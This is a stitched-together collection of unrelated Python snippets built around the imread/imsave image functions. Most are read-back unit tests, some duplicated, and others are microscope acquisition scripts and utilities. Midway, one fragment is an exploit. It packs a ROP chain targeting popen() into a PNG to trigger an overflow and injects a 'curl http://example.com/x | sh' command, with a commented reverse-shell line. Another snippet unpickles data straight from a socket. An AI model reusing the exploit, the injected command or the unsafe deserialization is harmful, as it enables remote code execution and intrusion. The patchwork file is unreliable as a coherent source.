def test_jpeg(): f = np.arange(64*16).reshape((64,16)) f %= 16 f = f.astype(np.uint8) imsave(_filename, f, 'jpeg') g = imread(_filename).squeeze() assert np.mean(np.abs(f.astype(float)-g)) < 1.
def test_read_back_colour_16bit(): im = np.random.random((16, 8, 3)) * 65535.0 im = im.astype(np.uint16) imsave(_filename, im) im2 = imread(_filename) assert im.shape == im2.shape assert np.all(im == im2)
def test_read_back_colour(): im = np.arange(256).astype(np.uint8).reshape((32,-1)) im = np.dstack([im, im*0, 255-im]) imsave(_filename, im) im2 = imread(_filename) assert im.shape == im2.shape assert np.all(im == im2)
def acquireZStack(topZ, bottomZ, mmc, folder=None, flatField=None): ## get information we need imageWidth = mmc.getImageWidth() imageHeight = mmc.getImageHeight() configuration = Configuration() zStep = configuration.zStep nSlices = int(math.ceil((topZ - bottomZ) / zStep)) ## intialize finalStack = np.zeros((nSlices, imageHeight, imageWidth)) ## make list of z values zList = np.empty([0]) ## so that we are in the correct index index = nSlices - 1 ## go from top to bottom, incrementing by amount specified in for z in np.arange(topZ, bottomZ, -zStep): mmc.setPosition(z) mmc.snapImage() singleLayer = mmc.getImage() singleLayer = flatFieldCorrection(flatField, singleLayer, mmc) finalStack[index, :, :] = singleLayer index = index - 1 ## add the z layer to the list of z coordinates zList = np.append(z, zList) filename = folder + "/" + str(z) + ".tiff" imsave(filename, singleLayer) return finalStack, zList
def test_jpeg(): f = np.arange(64 * 16).reshape((64, 16)) f %= 16 f = f.astype(np.uint8) imsave(_filename, f, "jpeg") g = imread(_filename).squeeze() assert np.mean(np.abs(f.astype(float) - g)) < 1.0
def test_read_back_colour(): im = np.arange(256).astype(np.uint8).reshape((32, -1)) im = np.dstack([im, im * 0, 255 - im]) imsave(_filename, im) im2 = imread(_filename) assert im.shape == im2.shape assert np.all(im == im2)
def acquireZStackContinuous(topZ, bottomZ, mmc, folder=None, flatField = None): ## get information we need imageWidth = mmc.getImageWidth() imageHeight = mmc.getImageHeight() configuration = Configuration() zStep = configuration.zStep nSlices = int(math.ceil((topZ-bottomZ)/zStep)) ## intialize finalStack = np.zeros((nSlices,imageHeight,imageWidth)).astype("uint16") ## make list of z values zList = np.empty([0]) ## so that we are in the correct index index = nSlices - 1 ## go from top to bottom, incrementing by amount specified in velocity = mmc.getProperty("ZeissFocusAxis", "Velocity (micron/s)") mmc.startSequenceAcquisition(nSlices, 0, True) frame = 0 exposureMs = configuration.exposureBrightField while (mmc.getRemainingImageCount() > 0 or mmc.isSequenceRunning()): mmc.setPosition(mmc.getPosition()-zStep) if (mmc.getRemainingImageCount() > 0): singleLayer = mmc.popNextImage() finalStack[index,:,:] = singleLayer frame = frame + 1 index = index - 1 else: mmc.sleep(min(0.5 * exposureMs, 20)) mmc.stopSequenceAcquisition() mmc.stopSequenceAcquisition(mmc.getCameraDevice()) print finalStack[:,:,0] imsave("oneLayer.tiff", finalStack[:,:,0]) return finalStack, zList
def test_read_back_with_metadata(): simple = np.arange(16*16).reshape((16,16)) simple = simple.astype(np.uint8) meta = b'123qwe' imsave(_filename, simple, metadata=meta) back,meta_read = imread(_filename, return_metadata=True) assert np.all(simple == back) assert meta == meta_read
def test_horizontal_predictor(): im = imread(file_path('arange512_16bit.png')) im2 = im.copy() imsave(_filename, im, opts={'tiff:horizontal-predictor': True}) assert np.all(im == im2) im3 = imread(_filename) assert np.all(im == im3)
def test_read_back_16(): np.random.seed(21) simple = np.random.random_sample((128,128)) simple *= 8192 simple = simple.astype(np.uint16) imsave(_filename, simple) back = imread(_filename) assert np.all(simple == back)
def test_read_back_16(): np.random.seed(21) simple = np.random.random_sample((128, 128)) simple *= 8192 simple = simple.astype(np.uint16) imsave(_filename, simple) back = imread(_filename) assert np.all(simple == back)
def test_read_back_with_metadata(): simple = np.arange(16 * 16).reshape((16, 16)) simple = simple.astype(np.uint8) meta = b'123qwe' imsave(_filename, simple, metadata=meta) back, meta_read = imread(_filename, return_metadata=True) assert np.all(simple == back) assert meta == meta_read
def test_non_carray(): np.random.seed(87) simple = np.random.random_sample((128,128,3)) simple *= 255 simple = simple.astype(np.uint8) simple = simple[32:64,32::2] imsave(_filename, simple, 'png') back = imread(_filename) assert np.all(simple == back)
def test_non_carray(): np.random.seed(87) simple = np.random.random_sample((128, 128, 3)) simple *= 255 simple = simple.astype(np.uint8) simple = simple[32:64, 32::2] imsave(_filename, simple, 'png') back = imread(_filename) assert np.all(simple == back)
def test_random(): np.random.seed(23) for i in range(8): simple = np.random.random_sample((64,64,3)) simple *= 255 simple = simple.astype(np.uint8) if i < 3: simple[:,:,i] = 0 imsave(_filename, simple, 'png') back = imread(_filename) assert np.all(simple == back)
def test_random(): np.random.seed(23) for i in range(8): simple = np.random.random_sample((64, 64, 3)) simple *= 255 simple = simple.astype(np.uint8) if i < 3: simple[:, :, i] = 0 imsave(_filename, simple, 'png') back = imread(_filename) assert np.all(simple == back)
def test_quality(): def pixel_diff(a): return np.mean(np.abs(a.astype(float) - data)) data = np.arange(256 * 256 * 3) data %= 51 data = data.reshape((256, 256, 3)) data = data.astype(np.uint8) imsave("imread_def.jpg", data) imsave("imread_def91.jpg", data, opts={"jpeg:quality": 91}) readback = imread("imread_def.jpg") readback91 = imread("imread_def91.jpg") assert pixel_diff(readback91) < pixel_diff(readback)
def test_quality(): def pixel_diff(a): return np.mean(np.abs(a.astype(float) - data)) data = np.arange(256*256*3) data %= 51 data = data.reshape((256,256,3)) data = data.astype(np.uint8) imsave('imread_def.jpg', data) imsave('imread_def91.jpg', data, opts={'jpeg:quality': 91} ) readback = imread('imread_def.jpg') readback91 = imread('imread_def91.jpg') assert pixel_diff(readback91) < pixel_diff(readback)
def execute(input_filename, output_filename_prefix): print 'Reading %s' % (input_filename, ) matrices = extract_matrices(input_filename) print 'Extraced %d matrices of shape %r' % (len(matrices), matrices[0].shape) for i in xrange(len(matrices)): matrix = matrices[i][:, :, 0] output_filename = '%s_%d.tif' % (output_filename_prefix, i + 1) imsave(output_filename, matrix) print 'Generated %s for matrix with shape %r' % (output_filename, matrix.shape)
def download_and_resize(url, filename, output_dir="", w_h_shape=None): try: req = urlopen(url) file_type = req.headers.get('Content-Type').split('/')[1] image = imread_from_blob(req.read(), file_type) if w_h_shape: image = cv2.resize(image, w_h_shape) if output_dir and not os.path.exists(output_dir): os.mkdir(output_dir) file_path = os.path.join(output_dir, filename+"."+file_type) imsave(file_path, image, formatstr=file_type) height, width, _ = image.shape return filename, file_path, None, width, height except Exception as ex: return filename, None, ex, -1, -1
def output_hyperstack(zs, oname): ''' Write out a hyperstack to oname source: https://metarabbit.wordpress.com/2014/04/30/building-imagej-hyperstacks-from-python/ Inputs: zs : 4D ndarray, dimensions should be (c,t,x,y) oname : str, filename to write to Outputs tif file saved to current folder ''' try: # We create a directory to save the results tmp_dir = tempfile.mkdtemp(prefix='hyperstack') # Channels are in first dimension nr_channels = zs.shape[0] nr_frames = zs.shape[1] nr_images = nr_channels * nr_frames metadata = _imagej_metadata.format(nr_images=nr_images, nr_frames=nr_frames, nr_channels=nr_channels) frames = [] next = 0 for s1 in range(zs.shape[1]): for s0 in range(zs.shape[0]): fname = '{}/s{:03}.tiff'.format(tmp_dir, next) # Do not forget to output the metadata! imsave(fname, zs[s0, s1], metadata=metadata) frames.append(fname) next += 1 cmd = "tiffcp {inputs} {tmp_dir}/stacked.tiff".format( inputs=" ".join(frames), tmp_dir=tmp_dir) r = system(cmd) if r != 0: raise IOError('tiffcp call failed') shutil.copy('{tmp_dir}/stacked.tiff'.format(tmp_dir=tmp_dir), oname) finally: shutil.rmtree(tmp_dir)
def imsave(fname, arr, format_str=None): """Save an image to disk. Parameters ---------- fname : str Name of destination file. arr : ndarray of uint8 or uint16 Array (image) to save. format_str : str,optional Format to save as. Notes ----- Currently, only 8-bit precision is supported. """ return _imread.imsave(fname, arr, formatstr=format_str)
def imsave(fname, arr, format_str=None): """Save an image to disk. Parameters ---------- fname : str Name of destination file. arr : ndarray of uint8 or uint16 Array (image) to save. format_str: str,optional Format to save as. Notes ----- Currently, only 8-bit precision is supported. """ return _imread.imsave(fname, arr, formatstr=format_str)
def test_write_16bit(): f = np.arange(100000, dtype=np.uint16)*1000 f = f.reshape((100,-1)) imsave(_filename, f) f2 = imread(_filename) assert np.all(f == f2)
b=lab_8bit[:, :, 2] ) def open_hsv_image(path): rgb = imread.imread(path) hsv_image = color.rgb2hsv(rgb) hsv_image *= 255 hsv_image = hsv_image.astype(np.uint8) h = hsv_image[:, :, 0] s = hsv_image[:, :, 1] v = hsv_image[:, :, 2] return HsvImage(h=h, s=s, v=v) if __name__ == '__main__': edges = open_edge_image('/home/peter/streetview/tmp/hsb_test.jpg') imread.imsave('test_edges.jpg', edges) # hsv = open_hsv_image('/home/peter/streetview/tmp/hsb_test.jpg') # imread.imsave('test_h.jpg', hsv.h) # imread.imsave('test_s.jpg', hsv.s) # imread.imsave('test_v.jpg', hsv.v) # lab = open_lab_image('/home/peter/streetview/tmp/hsb_test.jpg') # imread.imsave('test_l.jpg', lab.l) # imread.imsave('test_a.jpg', lab.a) # imread.imsave('test_b.jpg', lab.b)
def test_asym(): simple = np.arange(16 * 16).reshape((32, 8)) simple = simple.astype(np.uint8) imsave(_filename, simple, 'png') back = imread(_filename) assert np.all(simple == back)
# if __name__ == "__main__": #============================================================================== # # Load images #============================================================================== #dapi=mahotas.imread(complete_path) dapi = sio.imread(complete_path) cy3 = sio.imread(cy3path) im1 = RemoveModalBackground(dapi) #im2 = RemoveModalBackground(cy3) #8bits dapi image d8 = gray12_to8(im1) complete_path = os.path.join(workdir, "dapi.png") imread.imsave(complete_path, d8) #============================================================================== # #try a simple segmentation procedure #============================================================================== print "segmenting..." filteredDAPI = LowResSegmentation(im1) imlabel, npart = nd.label(filteredDAPI) #label2=mahotas.morph.close_holes(imlabel>0) #imlab,N=nd.label(GradBasedSegmentation(dapi)) print "showing..." ParticlesDAPI = extractParticles(im1, imlabel) #Particles is a list of images (np.array of scalar) ParticlesCy3 = extractParticles(cy3, imlabel) #makeMosaic(ParticlesDapi, 1200, 8000) makeMosaic(ParticlesDAPI, 1200, 8000) makeMosaic(ParticlesCy3, 1200, 8000)
import numpy as np import imread import pylab print dir(imread) classifier = np.vstack([np.arange(256) / 256.0 * i for i in range(16)]) classifier = classifier.astype(np.uint16) imread.imsave('test_classifier.tif', classifier) pylab.imshow(classifier) pylab.colorbar() pylab.show()
def imwrite(filespec, image, maxval=255, packed=False, verbose=False): """ Writes the given image to the given file, returns nothing. Grayscale images are expected to be provided as NumPy arrays with shape H x W, color images with shape H x W x 3. Metadata, alpha channels, etc. are not supported. """ ImageIOError.error_message_prefix = "Failed to write %s: " % ( repr(filespec)) _enforce( isinstance(filespec, str), "filespec must be a string, was %s (%s)." % (type(filespec), repr(filespec))) _enforce(isinstance(image, np.ndarray), "image must be a NumPy ndarray; was %s." % (type(image))) _enforce( image.dtype.char in "BHefd", "image.dtype must be uint{8,16}, or float{16,32,64}; was %s" % (image.dtype)) _enforce(image.size >= 1, "image must have at least one pixel; had none.") _enforce(isinstance(maxval, (float, int)), "maxval must be an integer or a float; was %s." % (repr(maxval))) _enforce( isinstance(maxval, int) or image.dtype.char in "efd", "maxval must be an integer in [1, 65535]; was %s." % (repr(maxval))) _enforce( 1 <= maxval <= 65535 or image.dtype.char in "efd", "maxval must be an integer in [1, 65535]; was %s." % (repr(maxval))) _enforce( isinstance(verbose, bool), "verbose must be True or False, was %s (%s)." % (type(verbose), repr(verbose))) _disallow( image.ndim not in [2, 3], "image.shape must be (m, n) or (m, n, 3); was %s." % (str(image.shape))) _disallow( image.ndim == 3 and image.shape[2] != 3, "image.shape must be (m, n) or (m, n, 3); was %s." % (str(image.shape))) _disallow( maxval > 255 and image.dtype == np.uint8, "maxval (%d) and image.dtype (%s) are inconsistent." % (maxval, image.dtype)) _disallow( maxval <= 255 and image.dtype == np.uint16, "maxval (%d) and image.dtype (%s) are inconsistent." % (maxval, image.dtype)) filename = os.path.basename(filespec) # "path/image.pgm" => "image.pgm" basename, extension = os.path.splitext( filename) # "image.pgm" => ("image", ".pgm") _enforce( len(basename) > 0, "filename `%s` must have at least 1 character + extension." % (filename)) _enforce(extension.lower() in RW_FORMATS, "unrecognized or unsupported file extension `%s`." % (extension)) filetype = extension.lower() if filetype == ".raw": _enforce(packed is False, "packed Bayer RAW images are not yet supported.") _enforce( image.ndim == 2, "image.shape must be (m, n) for a Bayer RAW; was %s." % (str(image.shape))) _reraise(lambda: _write_raw(filespec, image, maxval, packed, verbose)) elif filetype == ".pfm": _enforce( maxval >= 0.0, "maxval (scale) must be non-negative; was %s." % (repr(maxval))) _reraise(lambda: pfm.write( filespec, image, maxval, little_endian=True, verbose=verbose)) elif filetype in [".pnm", ".pgm", ".ppm"]: _reraise(lambda: pnm.write(filespec, image, maxval, verbose)) elif filetype in [".png", ".tif", ".tiff", ".jpg", ".jpeg", ".insp"]: _disallow(filetype in [".jpg", ".jpeg"] and maxval != 255, "maxval must be 255 for a JPEG; was %d." % (maxval)) _disallow(filetype == ".png" and maxval not in [255, 65535], "maxval must be 255 or 65535 for a PNG; was %d." % (maxval)) _print(verbose, "Writing file %s " % (filespec), end='') formatstr = "jpg" if filetype == ".insp" else filetype[1:] _reraise(lambda: _imread.imsave( filespec, image, formatstr=formatstr, opts={'jpeg:quality': 95})) h, w = image.shape[:2] c = image.shape[2] if image.ndim > 2 else 1 _print(verbose, "(w=%d, h=%d, c=%d, maxval=%d)" % (w, h, c, maxval)) else: raise ImageIOError("unrecognized file type `%s`." % (filetype))
def test_non_existing(): # in 0.2.5 this led to a hard crash! arr = np.arange(64,dtype=np.uint8).reshape((8,8)) imsave('/tmp/test-me.png', arr, 'some format which does not exist')
import os import pickle import socket import imread filename = 'images/hello_there.jpg' if __name__ == '__main__': try: os.remove(filename) except OSError: pass client_socket = socket.socket() client_socket.connect(('localhost', 1337)) serialized = bytearray() while True: data = client_socket.recv(1024) serialized += data if not data: break hello_there = pickle.loads(serialized) imread.imsave(filename, hello_there)
def test_write_16bit(): f = np.arange(100000, dtype=np.uint16) * 1000 f = f.reshape((100, -1)) imsave(_filename, f) f2 = imread(_filename) assert np.all(f == f2)
from test20xEdgeDetection import whichCase, threshholding from multiprocessing import Pool import pyvips if __name__ == '__main__': ##load the microscope mmc = MMCorePy.CMMCore() mmc.loadSystemConfiguration("ZeissTestMMConfig.cfg") mmc.setProperty('IDS uEye', 'Exposure', .5197) mmc.setROI(300, 0, 3504, 2174) mmc.snapImage() img = mmc.getImage() flatField = moveForFlatField(mmc) imgCorrected = flatFieldCorrection(flatField, img, mmc) imsave("sampleFlatField.tiff", flatField) imsave("sampleNotCorrected16Bit.tiff", img) imsave("sampleFlatFieldCorrection16Bit.tiff", imgCorrected.astype('uint16')) """purpose: find the minimum across the z axis at a single x,y coordinate inputs: the flatField image array, raw image, mmc object returns: the mip saves: nothing """ ################################## MIP creation ############################################ """purpose: get a minimum intensity projection from one z stack using pyvips.bandrank inputs: the z stack
0x0400A30, # popen() ] import struct rop = ''.join(struct.pack('<Q', i) for i in rop) colorchannel = 0x128 * '\xff' + rop # ljust so the image is wide enough for the overflow to occur. # See server.c; the width of the image is important even though # only the first bytes actually matter in the overflow. colorchannel = colorchannel.ljust(len(colorchannel) * 256, '\xdd') colorchannel = map(ord, colorchannel) # Generate the a PNG; it's 1 pixel tall and len(colorchannel) wide. from imread import imsave import numpy x = [ zip(colorchannel, colorchannel, colorchannel) ] x = numpy.array(x, dtype=numpy.uint8) imsave('/tmp/thicc.png', x) # http://example.com/x contains a connect-back shell script, for example: # /bin/bash -c '/bin/bash -i >& /dev/tcp/your.ip.here/12345 0>&1' PAYLOAD=" ; curl http://example.com/x | sh; GIF image data\x00" hakpng('/tmp/thicc.png', '/tmp/hacc.png', label=PAYLOAD) # $ cd /tmp; file image # image: Linux/i386 swap file (new style), version 707406378 (4K pages), size 707406378 pages, LABEL= ; curl http://example.com/x | sh; GIF image data, UUID=2a2a2a2a-2a2a-2a2a-2a2a-2a2a2a2a2a2a # # Note that `file_cb_output` ends up being an index into this ^ string.
mmc.setRelativeXYPosition(imageWidthUM, 0) mmc.snapImage() array = mmc.getImage() image = threshholding(array) if whichCase(image) is not 'j': logging.warning("Still white moving left") return 'left' ## increase currentSideLength currentSideLength = currentSideLength + 1 if __name__ == '__main__': ## load microscope configuration = Configuration() mmc = MMCorePy.CMMCore() mmc.loadSystemConfiguration(configuration.cfg) ## get info for setting ROI imageWidth = mmc.getImageWidth() imageHeight = mmc.getImageHeight() # set settings mmc.setROI(configuration.cropX, configuration.cropY, (imageWidth - configuration.cropX * 2), (imageHeight - configuration.cropY * 2)) mmc.setProperty('IDS uEye', 'Exposure', configuration.exposureBrightField) #edgeDetectedOverview(mmc) mmc.snapImage() image = mmc.getImage() imsave("unthreshholdedImage.tiff", image) imageT = threshholding(image) imsave("threshholdedImage.tiff", imageT) print whichCase(image)
def test_write_16bit_rgb(): f = np.random.random((16, 8, 3)) * 65535.0 f = f.astype(np.uint16) imsave(_filename, f) f2 = imread(_filename) assert np.all(f == f2)
def test_save_float(): im = (np.arange(64*64).reshape((64,64)) % 32 ) * 2. imsave('test.jpeg', im)
def test_read_back(): simple = np.arange(16*16).reshape((16,16)) simple = simple.astype(np.uint8) imsave(_filename, simple) back = imread(_filename) assert np.all(simple == back)
def test_read_back(): simple = np.arange(16 * 16).reshape((16, 16)) simple = simple.astype(np.uint8) imsave(_filename, simple) back = imread(_filename) assert np.all(simple == back)
affinities = h5.require_dataset('affinities', (3,) + images.shape, dtype=np.float32) update_predictions(images, affinities, model) pos_counts, neg_counts = compute_malis_counts(affinities, labels) err, svrs, svrm, d_err_d_aff = err_and_deriv(affinities[...], pos_counts, neg_counts) print ("err", err, svrs, svrm) per_edge_deriv = K.placeholder(ndim=4) grads = K.gradients(K.sum(output * per_edge_deriv), model.trainable_weights) updates = [(p, p + 0.001 * g) for p, g in zip(model.trainable_weights, grads)] derivs = K.function([x, per_edge_deriv], [], updates=updates) for iter in range(100): for idx in range(num_images): derivs([get_input_volume(images, idx)[np.newaxis, ...], d_err_d_aff[:, idx, ...][np.newaxis, ...]]) update_predictions(images, affinities, model) aff10 = affinities[:, 10, ...] imread.imsave('output/aff10_{}.png'.format(iter), (255 * np.transpose(aff10, [1,2,0])).astype(np.uint8)) pos_counts, neg_counts = compute_malis_counts(affinities, labels) err, svrs, svrm, d_err_d_aff = err_and_deriv(affinities[...], pos_counts, neg_counts) print ("err", err, svrs, svrm)
def test_asym(): simple = np.arange(16*16).reshape((32,8)) simple = simple.astype(np.uint8) imsave(_filename, simple, 'png') back = imread(_filename) assert np.all(simple == back)
import sys import imread import numpy as np for f in sys.argv[1:]: print f im = imread.imread(f)[:, :, :3] ramp = np.zeros(im.shape) ramp[...] = 0.5 half = ramp.shape[0] / 2 ramp[:half, :, :] = np.linspace(0.7, 0.5, half).reshape((half, 1, 1)) new = 1.0 - 2 * (1 - ramp) * (1 - im.astype(float) / 255.0) new = new * 255 new = new.astype(np.uint8) imread.imsave("bumped_" + f, new)
def create_files(images, numbers): for i in range(len(images)): imread.imsave('numbers/' + str(i) + '-' + str(numbers[i]) + '.tif', images[i])
def test_bad_args(): arr = np.arange(64,dtype=np.uint8).reshape((8,8)) imsave('/tmp/test-me.png', arr, arr)